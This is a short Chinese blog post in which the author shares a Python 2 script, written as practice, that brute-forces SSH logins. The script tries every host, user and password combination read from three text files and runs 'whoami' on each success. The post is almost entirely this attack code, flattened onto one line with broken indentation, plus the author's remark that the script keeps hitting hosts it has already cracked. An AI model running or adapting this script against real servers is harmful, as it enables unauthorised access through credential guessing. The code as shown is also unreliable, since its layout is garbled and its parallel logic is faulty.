最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本
#!/usr/local/bin/ python # -*- coding: UTF-8 -*- __author__ = 'yangxiaodi' from multiprocessing import Pool from pexpect import pxssh import sys reload(sys) sys.setdefaultencoding( "utf-8" ) datas=[] def connect(): cmd = 'whoami' for data in datas: host = data.split(':',2)[0] user = data.split(':',2)[1] password = data.split(':',2)[2] try: s = pxssh.pxssh(timeout=3) s.login(host,user,password) s.sendline(cmd) s.prompt() print '[+] ssh host:'+host+' user:'+user+' password:'+password+' 执行命令:'+s.before except: print u'错误 [-] ssh host:'+host+' user:'+user+' password:'+password def read_file(filepath): f = open(filepath).readlines() return f def get_host_user_pass(): host = read_file('host.txt') for h in host: h = h.replace('\n','') user = read_file('user.txt') for u in user: u = u.replace('\n','') passs = read_file('pass.txt') for pas in passs: pas = pas.replace('\n','') datas.append(h+':'+u+':'+pas) return True resu = [] get_host_user_pass() p = Pool() resu.append(p.apply_async(connect,args=())) p.close() p.join() for res in resu: print res.get() print 'all subprocesses done.'
本地要有三个文件 user.txt , host.txt , pass.txt
这次没在脚本做判断,遇到成功的还是继续爆破成功的ip,原因是用了多进程,然后不会改,留到后面再来解决。(有人帮忙吗)